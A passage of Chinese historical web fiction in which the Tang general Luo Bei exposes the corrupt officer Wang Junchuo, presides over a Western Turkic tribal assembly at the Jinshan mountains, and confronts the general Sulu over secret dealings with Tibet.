“左贤王心虑长远,首领不要见怪。您想一想,如今王君?只敢对一些小部族动手,尚未威胁到回纥部的安全。就算他未来坐上凉州都督的位置,唐家朝廷也有人监督着他,叫他不能肆意妄为。首领切不可以一时之气决定回纥部的未来。” 他这话说得比阙特勤的话悦耳得多,伏帝匍自觉有了台阶,伏地道礼,方才退了出去。 他一离开帐中,洛北和阙特勤都忍不住齐齐地长叹一口气。 洛北披衣起身:“睡不着了,陪我去外面走走如何?” 阙特勤自然应允。 两人披上裘衣,行走在风声渐大的草原之上。“我真没想到。”阙特勤率先开口,“要知道他打的是这个主意。我是不会到凉州来的。” 洛北笑着叹了口气:“不是你的错,要来的是其他人,恐怕此刻已经与伏帝匍击掌盟誓,划定北逃的路线了。” “哈,乌特。我们这些人虽然没有你的智慧,倒也不至于自己往铁板上撞。“阙特勤哈哈大笑,“汗国现在需要的是休养生息,不是战争,这一点,你比我更清楚。” 洛北点了点头,自阙特勤的兄长默矩登基为毗伽可汗后,宽仁怀人,再度收拢了先前溃乱不堪的突厥人心。 他任命阙特勤为左贤王,总掌汗国兵马,又以自己的老丈人暾欲谷为谋主——这三人都是洛北在突厥牙帐时就关系甚近的朋友。换句话说,是值得他信任的人。 “可惜了,本来还想借此机会和你叙叙旧。”阙特勤长长地打了个哈欠,“现在谈判不成,只怕我们明天就要离开凉州草原了。你呢?可要我护送你去凉州城?” “你确实应当与我一道去凉州。”长久的沉默之后,洛北开口: “你当真觉得,回纥部的这些人像自己描述得那么无辜吗?” 阙特勤疑惑地顿住步子:“我知道他们先前对这位王将军不会太客气。可这位王将军所作所为又确实过分了些。莫说在你军中,便是在我军中,也绝不会允许杀良冒功,屠戮无辜的事情。” “如果回纥部的这些人默许了呢?” 洛北静静地看着阙特勤的眼睛,用平静的语气抛出一道惊雷。 阙特勤瞪大了眼睛:“你是说……” “他们甚至不需要额外做什么,只要袖手旁观,就能顺理成章地吞并这些小部族的人口和牧场。” 洛北道,“你我觉得要扶持弱小,不能屠戮无辜,只是因为你我是统领草原的君主。可如果回纥部的这些人不这样想呢?” 若不把自己部族之外的子民视作自己的子民,自然也无需对他们负责了。 阙特勤反应了过来:“你是说这些人和王君?是有默契的。他们任由王君?去伤害那些小部族,好让自己兼并更多草场。可如果是这样,他们为什么不应该对王君?就任凉州都督感到欣喜吗?又为什么宁愿叛国,也要跑到漠北去?” 洛北笑了:“因为大唐和突厥议和已定,也因为我已经到了凉州。” 大唐和突厥议和,便意味着边境和平,那这条“杀良冒功”的路子便再也走不通了。 在河西诸部中卓有声望的洛北又已经回到了凉州——这意味着只要任何一个无辜遭难的小部族去找洛北告状,王君?和这些部族都会陷入灭顶之灾。 阙特勤本来昏昏欲睡的头脑顿时清醒了过来:“那你必须要在他们发现你的身份之前离开这里。明天一早,我们就走。” 第224章 “大唐的将士们,我就在这里,倘若有人要对我放箭,那就来吧。” 草原上的清晨, 红日初升,紫色的朝霞如火焰般在天际燃烧,将整片草原染成了金紫色。微风拂过, 草浪翻滚, 仿佛大地在呼吸。 远处,几只飞鸟盘旋在低空,发出尖锐的鸣叫,为这片宁静的天地增添了几分肃杀之气。 阙特勤辞别了回纥部的部族首领来到帐外时,洛北已经带着他的卫队整装待发了。 一百二十余人立在草原上, 就像一片黑压压的林木,人人无声,连马嘶都不闻。洛北一身锦袍骑马停在最前, 春风吹得他鬓发散乱,在他英俊的脸上投下一片连绵的阴影。 “你那孩子呢?”阙特勤扫了一眼众人,一百二十骑皆在, 唯独少了一直跟在洛北身后的王训。他虽翻身上马, 勒令起行,却不免问了洛北一句。 “我派他去凉州了。”洛北自然地落在他身后半个身位。这一百余骑浩浩荡荡地在草原上奔跑起来,马蹄扬起一阵又一阵的烟尘。 “哦?你是让那孩子连夜去搬救兵了?”阙特勤半开玩笑半认真地道,“我可没看出来事情已经严重到如此地步了。” “你想想, 如果你是王君?,你最害怕的情景会是什么?” 阙特勤知道他卖关子的性子又起了, 笑着追问道:“和我说话还要铺垫什么?你直说就是。” “他最怕的情况便是‘对账’!哪怕那些小部族去凉州找郭知运告状,哪怕我亲自到了凉州,只要他咬死了是突厥军队越境入侵, 屠戮部族,造成惨祸。我们谁也不能奈何他。” 洛北轻轻一笑:“可如今突厥汗国的左贤王就在这里, 只要你作证汗国兵马和部族均未动作,我便可去草原上寻那些部族前来作证——不消多久,就能把他的罪名钉死!” “你不是大唐大将军,建节碛西的碎叶郡王吗?”阙特勤一听作证之类的词句就头疼,皱眉道,“连你也不能轻易处置他,还要费这许多关关节节?” 洛北轻叹一声:“朝廷律法森严,即便是我也不能越权行事。更何况,吐蕃虎视眈眈,我们不能让内乱给了他们可乘之机。” 阙特勤摸了摸下巴:“我看还是你顾虑太多,要是这样的事情发生在汗国的草原上,我早叫人去把他抓来打死了。” 洛北哑然失笑:“律法严格不是为了庇护恶人,而是为了不冤枉好人。等一等,你看……” 阙特勤刹住话头,顺着他的目光向天际看去,一群飞鸟在密林上空盘旋不停。 “看来回纥部已经有人把消息透露了出去。”阙特勤英武的脸上露出一抹冷笑:“这个王君?,来得够快的。好啊,让我同他较量较量!” 阙特勤转身高声以突厥话发号施令:“骁勇队带队上前!善射者殿后!其余护卫两翼!” 他统兵已久,极有法度,号令一出,队列在片刻之间便已经改换队形。整个骑队依旧行进有序,丝毫看不出队列变换的痕迹。然而前排骁勇已经手执长槊,后排弓箭手备好了箭囊,只等一遇到那不长眼的唐军就以箭雨伺候。 “等一等。”洛北轻轻呼了口气,重新束起发髻:“先别轻举妄动,容我和王君?谈一谈,” “乌特,这太危险了。”阙特勤摇了摇头,“你自己也说,他最怕的便是你我同聚一堂,两厢印证,叫他狡辩也无处狡辩。现在你还要自亮身份撞上门去,生怕他不能下定决心将你我一起灭口么?” 洛北笑了一声:“我何尝不知道这个道理,可是两国和议方成,吐蕃虎视眈眈,若有一点可能,我都不会让这场仗打起来。” 他们说话之间,前方已远远地出现了唐军的赤色军旗,放眼望去,唐军漫山遍野,恐有千人之众。 为首的正是凉州副将王君?。 王君?骑在一匹黑马上,身披赤甲,目光如刀。他远远便高声喝道:“左贤王!两国和议刚成,你便带兵私入凉州,是何居心?!” 阙特勤冷笑一声,正要回应,洛北却抬手制止了他。洛北轻轻一夹马腹,白马缓缓向前,独自一人走向唐军阵前。他的身影在朝阳下拉得修长,仿佛一尊战神降临。 王君?见洛北独自上前,眼中闪过一丝阴狠。他低声对身旁的亲兵下令:“传令下去,准备放箭。今日绝不能让他活着离开!” 亲兵领命而去,片刻之后,唐军阵中弓弩手已悄然列阵,箭矢对准了洛北。 洛北却仿佛浑然不觉,依旧缓缓前行,直到距离唐军阵前不足八十步时才停下。 他目光扫过唐军阵中,忽然高声喊道:“张远!陈平!哥舒克!你们可还记得我?” 唐军阵中一阵骚动,几名将领模样的士兵面面相觑,显然认出了洛北。其中一名身材魁梧的将领忍不住上前一步,颤声道:“洛……洛将军?真的是您?” 洛北微微一笑,语气温和:“哥舒克,当年在鸣沙城下,你我与哥舒亶同入默啜阵中,掠阵而还。战后我亲自为你请功,不知你还记得吗?” 哥舒克眼眶一红,翻身下马,高声道:“将军大恩,末将终生不敢忘怀。” 他这一跪,唐军军阵中半数以上的将领都跪倒在地,连带着他们手下的士兵也齐声对洛北道礼:“见过洛将军!” 王君?见状,厉声喝道:“你们都疯了不成?!都起来!” 他军令一下,有几个将领当即起身。哥舒克等人都低头不动,连累了大部分军人是站也不是,跪也不是,一时之间,都僵在那里。 “好啊,好啊。”洛北笑得温和,“我看你们,都戴了铠甲,领着自己的士兵了。威风凛凛,都是国之大将的模样。风流潇洒,远胜往昔啊。行了,都起来吧。” 由哥舒克和张远领头,一众唐军将领都站起了身,不少将领眼中还含了泪花。 王君?见他积威深重,知道想要骤然出手把他杀掉已是绝不可能,咬了咬牙,沉声道: “碎叶郡王驾临凉州,不知所为何事?还有,为何同这突厥汗国的左贤王混在一处?!难道说,朝中风传你与此人过从甚密,有叛国嫌疑竟是真的?” 他句末突然发难,将声音提高八度,发出一句怒吼,就如一道惊雷炸响在空中,震得整个唐军队列为之一动。 阙特勤见情况紧急,连忙举起右手,命自己身后的弓箭手弯弓搭箭:“看准了再射,伤到乌特特勤,我绝不轻饶!” 洛北冷声道: “大唐与突厥和议已定,我邀请突厥左贤王前来凉州处理一件要务。我是辅国大将军,碎叶郡王,我如何行事恐怕不需要你王君?批准吧?你竟敢诽谤朝廷命官,不想要脑袋了吗?!” 王君?目光如刀般盯着洛北: “洛北,你莫要忘了,这里是凉州,不是碎叶,不是碛西!你虽是建节碛西的碎叶郡王,但在这里我说了算!你与突厥左贤王勾结,私入我凉州境内,分明就是叛国之嫌!今日,本将就要替朝廷清理门户!” 他话音未落,唐军阵中弓弩手已经将箭矢对准了洛北,气氛瞬间紧张到极点。 “好啊。”洛北张开双臂,望着一众军将,“大唐的将士们,我就在这里,倘若有人要对我放箭,那就来吧。” 洛北的声音平静而坚定,仿佛丝毫没有被眼前的箭雨所威慑。他的目光扫过唐军阵列,那些曾经熟悉的面孔,如今却在王君?的操控下,对他虎视眈眈。 “洛将军,你这是何苦?”哥舒克忍不住出声,他的声音中带着一丝哽咽,“你若退兵,我们还能想办法保全你。” “保全我?”洛北微微一笑,眼神中透出一丝坚毅,“哥舒克,你我都是大唐的臣子,难道你忘了我们的职责?王君?以强凌弱,残害部族,杀良冒功,这是何等罪行?我今日前来,就是要将他绳之以法!” “你凭什么这么说?”王君?咬牙切齿,试图在气势上压倒洛北,“你有什么证据?” “证据?”洛北冷笑一声,缓缓从怀中掏出一封书信,高高举起,“这是凉州部族送来的求救信,信中详细描述了王君?残害部族,杀良冒功的罪行!” 唐军阵中一片哗然,许多士兵和将领都露出震惊的神情。王君?的脸色瞬间变得煞白,他意识到自己已经陷入了绝境。 “这封信是我在一个小部族的部族首领那里得到的,”洛北继续说道,“他亲眼目睹了王君?的暴行,他为了保全自己的族人,才将这封信交给了我。王君?,你还有什么话说?” “这是诬陷!”王君?大喊道,试图挽回局面,“这封信分明是伪造的!” “伪造?”洛北冷笑一声,“王君?,你以为只要把罪名栽赃给突厥,就能万事大吉?!实话告诉你吧!我邀请左贤王来此,就是为了揭发你这些罪行!” 洛北转身看向阙特勤,高声道:“左贤王殿下,能否请你为我作证?突厥汗国从未对凉州部族采取任何行动,这一切都是王君?的阴谋!” 阙特勤点了点头,用突厥语和汉语大声说道:“大唐的将士们,我以突厥汗国左贤王的名义发誓,我们从未对凉州部族采取任何行动。这一切都是王君?的阴谋,他企图挑起唐突之间的战争,从中谋取私利!” 唐军阵中一片骚动,许多士兵和将领都开始怀疑王君?的动机。王君?见状,心中惊慌,他知道自己已经失去了控制局面的能力。 “王君?,你还有什么话说?”洛北冷冷地问道。 王君?咬牙切齿,突然大喊道:“放箭!” 然而,他的命令刚刚出口,唐军阵中却传来一阵骚动。哥舒克、张远等将领纷纷高呼:“不可放箭!” “王君?,你休要一意孤行!”哥舒克大喊道,“洛将军乃朝廷命官,你如此行事,便是公然抗命!” “抗命?”王君?怒极反笑,“你们这些蠢货,今日若不杀了洛北,你们都将死无葬身之地!” “够了!”洛北再次大喝一声,他的声音如惊雷般在战场上回荡,“王君?,你今日死罪难逃!” 说罢,洛北猛地一夹马腹,白马如离弦之箭般冲向唐军阵前。与此同时,阙特勤也高声下令,突厥骑兵如潮水般涌向唐军。 王君?见状,心中惊慌,他知道自己已经没有退路,只能拼死一搏。他拔出佩剑,高声喝道:“儿郎们,随我杀!” 第225章 "今日若纵容此贼,来日史笔如刀,写的就是唐军铁蹄下,尽是冤魂!" 千钧一发之际, 一声断喝自远方响起。 “都给我站下!” 成队的骑兵挥舞着唐军大旗冲进两军之间,为首者擎着一面“凉”字大旗,旗下一人身着绯色官袍, 满面焦急。 正是凉州都督郭知运。 洛北抬手示意阙特勤。突厥骑兵率先后撤, 唐军见状,也纷纷收起兵器,两边重新拉开百步距离,留待郭知运率军进入。 郭知运率先下马,到洛北坐骑前见礼:“见过洛大将军!” “知运, 多余的礼不必了。”洛北摆了摆手,“此处是凉州地界,我不便多事, 你处置吧。” 郭知运抱拳道礼,随即向空中抽了一马鞭,他身后的两个亲兵随即上前, 把王君?押下马去。 王君?还要开口争辩什么:“郭都督!” “王君?!我只问你一句话, 朝廷与突厥议和方行,你不经本督同意,带这么多兵马到草原上是要干什么!” 郭知运厉声喝道。 王君?不料他以此事发难,一时愣在那里。那两个亲兵立刻将他拖了下去。 等到诸般事务处理一毕, 已是夜幕时分。郭知运来到衙署的客房之中,看到洛北正站在院内指点王训射箭。 “你右腕姿势太死了, 这样发出去的箭是射不准的。”洛北轻轻拍了拍王训手腕,“放松些,不要怕。” 王训大概已练了一下午, 此刻一头一身的汗,声音里却还透着兴奋:“是, 将军!” 他微微调整姿势,随后松开弓弦,箭如流星般射向靶心。 洛北微微一笑:“累不累?休息一会儿?” “不,将军请允许我再试试!”王训说着,又拿起羽箭,跃跃欲试。 “王公子,射箭是速成不得的。”郭知运笑道,“这样练下去,小心明天早上起来手腕疼。” “我……”王训回身一看是他,忙低身道礼:“见过郭都督。” “知运与我有话说。你先休息吧。记着,今晚沐浴时要揉搓两把手腕和肩膀,不然明早起来有的酸疼。”洛北道。 “真羡慕这孩子。”郭知运把他让到书房主座上,亲自给他端上一杯茶水,“从前我们练习的时候,公子只管奖惩,什么时候这么温言细语过。” 洛北哈哈一笑,郭知运等人跟着他的时候都已是有骑射功底的人,哪里需要他从头教起:“知运若再年轻个二十岁,投到我这里,我也温言细语地教,如何?” “还是罢了!我怕我起鸡皮疙瘩。”郭知运也笑了。 这一番欢声笑语,倒让屋内氛围和缓了许多。郭知运犹豫再三,还是道:“王君?我已经下狱,也亲自审问过了。” “他对自己的大部分罪行都不承认,只是坚称掌握了他们里通突厥的证据,才贸然出手,或许有失察之嫌,但绝无杀良冒功、滥杀无辜的罪过。公子……您看?” 洛北已经猜到他是给王君?来说情的,闻言面色不变,只把目光投向郭知运脸上。 郭知运被他那双金棕色的眼眸一扫,声势又弱了三分: “我何尝不知道他在避重就轻,只是……虽说吐蕃、突厥均与朝廷议和会盟,可强敌不去,凉州还是地处两蕃之间的要地。王君?纵有千般不是,他作战还是有功的。” “所以你的想法是?”洛北温声问。 他难得用这样温和冰冷的语气说话,冷得郭知运心头一紧: “我……我想,让他以白衣军将身份,将功折罪……” 洛北放下茶盏时青瓷与木案相击,发出清越的脆响。他垂眸望着茶汤里漂浮的嫩芽,烛火在瞳仁深处投下跳动的金斑: “前一夜,我在自己借宿的小部族中看过他造出的尸骨大坑,那里血迹斑斑,妇孺颅骨尚未闭合的骨缝做不得假。你当真要拿或许失察四字,替这等杀良冒功的畜生开脱?" 郭知运肩头微颤,窗外掠过一阵朔风,卷得檐下铁马叮当乱撞,恰似他此刻摇摇欲坠的良心。 "公子明鉴。"他忽然起身长揖到地,"凉州四战之地,朝廷又一直在边境用兵,若此刻严惩边将,只怕军心涣散" 话音未落,洛北霍然起身,案上烛火被带起的疾风扑得猛然一晃。郭知运抬头时,正对上那双映着寒月的异色瞳孔——像极了草原冬夜盯住猎物的鹰。 "军心?"洛北的手按在案上,声音带着几分沉痛,"知运,你治军不是靠军法严明,赏罚分明,而是靠这互相袒护的虚无情谊吗?!” “你我纵横西域,所过之处,城池部族皆俯首帖耳,入一城则百姓箪食壶浆以迎王师。因为什么?就是因为他们相信大唐王师,相信我们。” 洛北的声音陡然转柔,却比方才更令人胆寒,"今日若纵容此贼,来日史笔如刀,写的就是唐军铁蹄下,尽是冤魂\ 铜壶滴漏声声催命,郭知运望着壁上并排悬挂的凉州舆图与《贞观律》,忽然踉跄跌坐。他何尝不知其中利害,可突厥如何?吐蕃又如何? "公子,末将斗胆。"他猛地跪倒在地,攥住洛北的袍角,"让这厮去吐蕃前线当个死士,若能斩得敌酋便抵罪,若是战死" 话未说完,洛北突然反手按住他肩膀。绯色官袍下的骨头硌得掌心发疼,这个曾随他雪夜破牙帐的悍将,如今竟已消瘦如斯。 “三日后,我要在焉支山下祭奠亡魂。"洛北起身望向窗外,"让王君?披麻戴孝,对着被屠部族的长老立下血誓。若他愿往吐蕃前线效力,我便当众烧了诉状。" 郭知运瞳孔骤缩——这是要拿王君?立威,却也是给凉州军留最后一丝颜面。 他极缓地俯身叩拜:“末将谢过公子。” “这样的事情,就不必道谢了。”洛北捏了捏眉心,他在凉州做参军时对草原消息了如指掌,如今换了自己的得意下属郭知运来做凉州都督,竟连草原上出了这么大的事情也不知道! 郭知运起身时膝盖骨发出轻微的脆响,这才惊觉自己后背早已被冷汗浸透。他低垂眉眼:“我本来不想让公子失望。” 洛北轻轻叹了口气,解下腰间的金刀,鎏金刀鞘在舆图上投下蜿蜒的阴影: “凉州城中有个杏林药铺,那里的老掌柜索行德索先生是我的旧友,前年他隐退回了沙州老家,生意就归他儿子索克礼和儿媳米丽娅打点。你得空的时候,派心腹下属跟着他们一道去草原上行医。” 郭知运瞪大眼睛,他是听过这个故事的——洛北离任凉州近十年,草原上还在传扬“妙手回春的洛神医”的故事。 “还有。”洛北点了点桌子:“每逢朔望之夜,你换上胡服去西市酒肆,找那个弹五弦琵琶的龟兹老乐师。他会在《破阵乐》里掺三声变调,那时你便去摸他琴箱底层的暗格。" 他说着从腰间摸出一块玉佩,玉佩上刻着雪山印记,洛北将玉佩轻轻往桌上一放,在凉州布防图上勾画出七处水草丰茂的牧场。 那些蜿蜒的墨线像极了当年他们追击突厥残部时,洛北派人去各部谈判、招降时写下的突厥文字——原来早在数年之前,这人就在给今日的棋局埋子。 "明日让王君?去领十鞭子。"洛北突然将玉佩抛过来,郭知运慌忙接住时,触到玉佩身上新刻的六道划痕——恰好对应着被屠部族的六个长老姓氏,"抽完鞭子带他去西郊马场,那里有三百匹刚断奶的小马驹。" 郭知运正要发问,却见洛北从袖中抖出一串银铃。当啷声响中,他想起了草原上给马匹系铃以明主家的做法。 "告诉那些来领马驹的牧民,这是王将军用三十年俸禄赎的罪。"洛北说这话时,窗外恰好传来守夜士兵换岗的号令,"记住,马鞭要沾盐水抽,抽一鞭念一个被屠者的名字——这事让王训去监刑。我有个叫阿米尔的徒弟也会在场,王将军不会死的。" 五更天的梆子响起时,郭知运望着洛北的身影,突然觉得压在肩头数年的雪山崩塌了一角。他摸到玉佩上的温润触感,恍然惊觉这竟是他继任凉州都督以来,第一次真正触到边疆的脉搏。 寅时末刻,郭知运才带着一肚子知识和满脸的震惊退出书房。他正要回房消化这一夜,一只金雕自他头上凌空越过,飞入书房之中。 洛北摸了摸金雕的脑袋和羽毛,唇边露出一点笑意: “好久不见了,老朋友。你给我带来什么新消息了?” 他从金雕的爪上拆下字条,读了一遍,英俊的脸上不辨悲喜。郭知运只得硬着头皮走进去问他: “公子……?” 洛北将字条递给他,上面是吐蕃文字: “吐蕃摄政太后赤玛雷病逝,逻些城乱成一团,先前解琬在长安与吐蕃人谈成的条件恐有全部作废的可能。” 身为边将,郭知运知道这句话的用意:“吐蕃战事要再开了?” “是。”洛北点了点头:“我把慕容曦光带来凉州就是这个考虑。我听闻吐蕃人中最得意的将军是吐谷浑王子坌达延墀松?” 郭知运恭敬称是:“不错,他是吐蕃扶植的吐谷浑王的儿子,他的母亲是吐蕃公主。” “应该叫曦光同此人较量较量,只要他们一会面,吐谷浑人自会知道什么叫人君之相。若能取得吐谷浑部归附,这对我们在河湟大有好处。” 郭知运应了一声:“那我即刻警示前线,预备增援青海。公子打算什么时候出发?” “曦光和你去就行了。”洛北摇了摇头,“我要去金山。我还有一件更重要的事情要做。” 第226章 “乌特!”阙特勤恭谦地垂下头颅,“你不打算接受我的忠诚吗?” 三日后, 洛北从凉州出发时不仅带走了凉州诸部的盟约和划好草场的地图,还带走了回纥、契苾、思结、浑四部的贵胄子弟。 这些人中为首的正是当天带着卫队与他和阙特勤对峙的骨力裴罗,这少年人瞪大了眼睛在他和阙特勤之间转来转去: “你就是洛北将军?大名鼎鼎的乌特特勤, 那你为什么要诈称自己是阙特勤的书记官?” 少年人的质问在驼铃声中格外清脆。洛北勒马回望时, 阙特勤的佩刀已横在少年颈间,刀上的狼头纹路在阳光下闪着光。 “对你的可汗放尊重些,小狼崽子。”阙特勤用刀背轻拍少年脸颊,在他的颧骨处烙下红痕,“你以为白狼大纛上的紫纹从何而来, 那是呼罗珊的波斯人为他奉上的礼物。” 洛北轻笑一声,挥动马鞭卷开阙特勤的刀刃:“这样的事情也值得动气?” 他转向骨力裴罗:“因为很多时候光靠名头和武力是解决不了问题的,最能依靠的莫过于一颗清醒的头脑和火热的心……还有一双能看到真相的眼睛。” 骨力裴罗半晌没有反应过来, 洛北却已率队起行,向着金山去了。王训压在队伍最后,丢给他一本碎叶文馆出的汉文突厥文对释词典: “伯克说, 你应当学点汉话, 对日后统领回纥部有好处。” 洛北在金山南麓与哥舒亶所带的仪仗队会和,彼时苜蓿花开成一片紫海,六面大旗忽喇喇漫过草浪——三面是赤色的唐军军旗,三面是象征乌特特勤的黑色飞鹰旗帜, 九重缠金豹尾随着鼓角声在碧空下招展。 王训正数着马队前的仪仗:八对青鸾旗引路,十六名银鞍书记官手捧朱漆文卷, 五色牦牛驮着鎏金香炉喷吐龙脑香雾。最惹眼的当属那架檀木鼓吹车,十二面画角悬着青丝绦,是从碎叶来的乐工在奏《定西番》。 “唐家威仪之盛, 可见一斑。”阙特勤策马靠近洛北身边,松松挽起的绫袍袖间露出左臂的箭伤, 那是呼罗珊之战给他留下的痕迹,他忽然扬起马鞭指向天际:"看!你的金雕。" 洛北在骏马背上抬眼望去,金雕身后数只猎鹰一道掠过云端,草原尽头忽现出连绵穹帐。思结部巫女摇着铜铃踏歌而来,浑部贵族捧着盛满马奶酒的镶金牛角跪在道旁。更远处,回纥人新织的羊毛毡毯铺出十里紫茵—— "碎叶郡王抚远安边,大唐皇帝陛下万岁——" 北庭都护府的赤底朱雀旗分开人潮,三百汉骑齐举金柘弓向天鸣弦。王训将御赐的白玉斧钺高高举过头顶,草原的子弟这才惊觉节度使仪仗里还藏着黠戛斯进贡的白骆驼,驼峰间架着的竟是河中都护府的星月屏风。 “伟大的乌特特勤万岁!” 牧人们疯狂地将花朵抛向马队,有个裹着厚厚棉袄的孩子甚至想钻过卫兵去摸洛北的马镫。王训吓了一跳,开口正要叫他小心,洛北已经勒马俯身,用突厥语对那孩子笑道:"等你长得比弓高,来碎叶城找我领战马。" 欢呼声几乎掀翻苍穹。设满毡帐的草原之上,西突厥各部族的族长们排成两排,向洛北献上七种白色的牲畜作为祭品。 “手中部族太多,也未必是件好事。”受过草原子民的三拜之礼,领受了可汗的名号,洛北转回早已准备好的毡房内,重新换上碎叶郡王的紫袍,“说是西突厥十姓可汗,却统辖着十四姓部族,这草场我该怎么分?” 阙特勤本站在他身后,见他总理不好胸前的挂饰,终于忍不住走过去替他把已同辫发缠在一起的饰物分开。他一边动手,一边笑: “又来了,乌特,我敢打赌,你连地图都画好了吧?” 洛北画好的地图确实就摆在大帐的桌上,阙特勤倒不愧是他的挚友兼兄弟,连他这点习惯都猜了出来。 洛北低声谢过阙特勤:“我确实没时间同这些首领讨价还价。因此决定公布决议就罢。也因此……”他抬头望向阙特勤,金棕色的眼眸里神情真挚:“你不一定要留在这座大帐之中。” 金山大帐可不比碎叶城,就算洛北和阙特勤串通好了使用“卫队长”这个身份当掩护,这些部族首领也没有几个认不出总掌东突厥兵马的左贤王的。 阙特勤轻轻笑了,那笑容有几分像多年之前,他们共同率领亲军杀入大食军阵时的模样: “我还以为你在率领亲军来救我时就已经想到了今日。” 他一手抚肩,躬身向自己的挚友兼兄弟道礼,而后单膝跪地,向他献出一卷羊皮地图:“我部情况已经尽在地图之上,留待你来最终裁决。” “阙特勤……”洛北忍不住叫出旧称,“你不必如此,当时我也没有想过……” “乌特!”阙特勤再度打断他,恭谦地垂下头颅,语意柔和,“你不打算接受我的忠诚吗?” 洛北一时震颤,竟说不出话来。他眸光闪烁,似是有了泪花。终于他像是下定决心般,双手接过地图,又使了几分暗劲儿,才把阙特勤从地上拉起来: “我必不负所托。” 半日之后,被召入帐中的各部首领们讶异地看着东突厥的左贤王坐在西突厥可汗的大帐中——虽说不少人已经与这位突厥第一勇士并肩作战过。但亲眼看到他以支持的态度出现在金山,又是另外一回事。 洛北显然没有给他们解释各中缘由的打算,他站起身,命自己的亲兵在众人面前抬出一面地图: 西至西海,东至大海的草场、牧场、水源尽在其上,描画得清清楚楚,疆域辽阔,更胜往昔。 “我以西突厥可汗之名,与诸位首领共议草场之事。”洛北声音温和,“若有异议,我们尽可再商量。” 有了阙特勤坐镇,这次草场及牧场的调整比之前容易得多,不过五日功夫,新的界限便议定了。甚至洛北还在牧场和草场的讨论之间解决了十来件部族越界的矛盾,答应了替几桩儿女婚事主婚。 六月十五的正午时分,金山上万古不变的冰川之间,洛北身着绣着金线的素白祭袍,登上祭坛,他的腰间系着突厥十四姓部族联献的七宝蹀躞带,正在阳光下熠熠生辉。 萨满们在祭坛前狂舞高歌,颂词正是多年之前他在这祭坛上唱出的那首: “我以金弓,向诸部重盟十箭之誓。 愿诸部团结友爱,永不迷惘。 愿诸部子弟,坚强不屈。 愿西域和平,万年流传。” 洛北高举金弓,射中了祭坛上的白色野马。 他高举双手,以突厥语高呼: “愿山神与祖先们见证!” 他抽出祭刀划过掌心,鲜血滴入祭火之中: "阿史那乌特以血为誓,必使草原子民亲如一家,万年太平!" 诸部首领随着他的祝祷声屈膝,山风转向,将祭坛前的篝火吹得猎猎作响。 洛北金棕色的瞳孔映着跃动的火焰,袍服随着山风飞舞,那一刻众人真认为天地有神,化身于眼前这个二十八岁的英俊青年庇护世间。 暮色四合时,一众人等才退下山来。各部酋长在行帐前斗酒。洛北却同阙特勤一道登上他们曾经同坐过的山坡,脚下是蜿蜒如练的宴会火把,远处有牧人弹着托布秀尔唱起古歌,衣着锦绣的少女们正在篝火之间翩然起舞。 明日起,缺席草原数年之久的金山大会又将重新开幕,不少年轻的部族子女已经翘首以盼了数年,终于等到了再次一展身手的机会。 “和平真是件好事。”阙特勤坐下身来,感受晚风吹拂过发间,“我本还有件东西要给你,现在有些犹豫。” 洛北轻轻一笑:“我猜猜看,是不是吐蕃赞普写给你兄可汗,邀请他共同出兵,同击大唐的密信?” 阙特勤瞪大双眼:“这你也知道?” “吐蕃王宫和突厥牙帐都不是铁板一块,我能知道这些并没有什么了不起。”洛北温声道,“这封信默矩应该献给长安——在那里这封密信有价值得多。” 阙特勤摇了摇头:“对我和我兄可汗来说,归附于你远比归附在长安的皇帝容易。容他再想想吧。”他站起身,拍了拍身上的草屑,“又是大会,又是大战,你还不去休息?真当自己是神明化身不成?” 洛北无奈地看了他一眼:“你怎的也来劝我这些?……我还有事要做。” “什么事比你明日拔擢人才,重建卫队更重要?”阙特勤好奇地看着他。 洛北没有答话,只轻轻叹了口气。 夜色之中,黑姓突骑施首领,被委以镇守呼罗珊重任的将军苏禄被宣入了洛北的大帐之中。 帐中只有洛北一个人。 年轻的西突厥可汗换下了白日的华服,只穿着件圆领紫袍坐在上首,见苏禄进来,就向他招了招手,示意他坐近些。 “可汗召见得如此之急,可有要……” 苏禄的声音戛然而止,因为洛北推来的琉璃碗里浮着几块冰,冰中冻着的竟是去年冬他写给吐蕃的密信残片。 第227章 “你独掌呼罗珊,自以为能够为所欲为。可你忘了,河中都护府根本不缺精明的商人。” 铜漏的滴答声里, 苏禄的指尖第三次擦过袖袋火漆。帐外巡逻兵的脚步声比平日急促——他安插在唐军里的眼线,本该在一炷香前送来换岗暗号。可他等了又等,对方却迟迟没有动作。 “大汗这是什么意思?” 洛北站起身, 缓步行到苏禄面前, 英俊的脸上如同神明一般无悲无喜: “你独掌呼罗珊,自以为能够为所欲为。可你忘了,河中都护府根本不缺精明的商人。你那点把戏,当他们看不出来么?” 苏禄被他突如其来的质问打得发蒙,他张了张口, 没有立刻回答。 “你当我不知呼罗珊的新税制?"洛北从袖中抽出一本公文,文簿上盖着户部度支司和裴耀卿的印章:“多征的三成关税,正好够养三千私兵。” “还有, 你卖给吐蕃人的粮草低于市价三成。”洛北的声音好像真的在讨论粮草调度,“但那群吐蕃人转手就卖给大食人作给养。这其中的利润够养活一个半黑姓突骑施部族……可惜呀,这些钱都进了那些吐蕃贵族的私库。” “这纯粹是无稽之谈, 大汗可不能这样空口白牙地冤枉人。”苏禄立时站起了身, “请大汗收回前言,否则我必将上书朝廷,请朝廷派遣御史来查证此事!” “你要上书给谁呢?苏禄将军?”洛北看着他,目光里甚至有点怜悯的意思:“郭虔瓘吗?我已经奏请朝廷罢去他的北庭都护职务, 把他调来了陇右,吐蕃前线……你猜他会怎么看一个向吐蕃请婚的部族首领?” 苏禄脸色发白:“我不知道大汗在说什么!” “你不知道?!”洛北冷笑一声, 将三样食物推过桌面,“这是你的幕僚画过押的证词,吐蕃大相与你交易的明细单, 还有……” 他顿了顿,指尖点在一封火漆完备的信上:“你在呼罗珊找人翻译的突厥信件副本。” 苏禄几乎不敢相信自己的眼睛, 但只有一瞬,他就已把脸上的惊讶神情又掩饰了下去。他带着一点讪笑去拿那几封信: “大汗怎么能相信这些粗制滥造的东西?” “砰”地一声,一把匕首洞穿他的指缝插在了桌案上。 这匕首做工甚是精致,匕首柄上雕花环绕,一路镶嵌着数枚宝石,最惹人注意的要数一颗红宝石,正在幽暗的大帐中泛着光。 苏禄惊了一跳,几乎是下意识地按住自己的反应,才没立刻从桌边跳起来。 “这把匕首的刀柄末端,有你苏禄将军的名字。” 洛北慢条斯理地将匕首从他指缝之间抽出来: “它是你向吐蕃赞普求娶他长姐的压轴聘礼。可你派去逻些城的那个使节不太牢靠,几杯大酒下肚,就让我的人成功偷梁换柱了一把。你说,如果我让各部首领和长老来辨认,他们是不是能认出这是你的家传之物?” 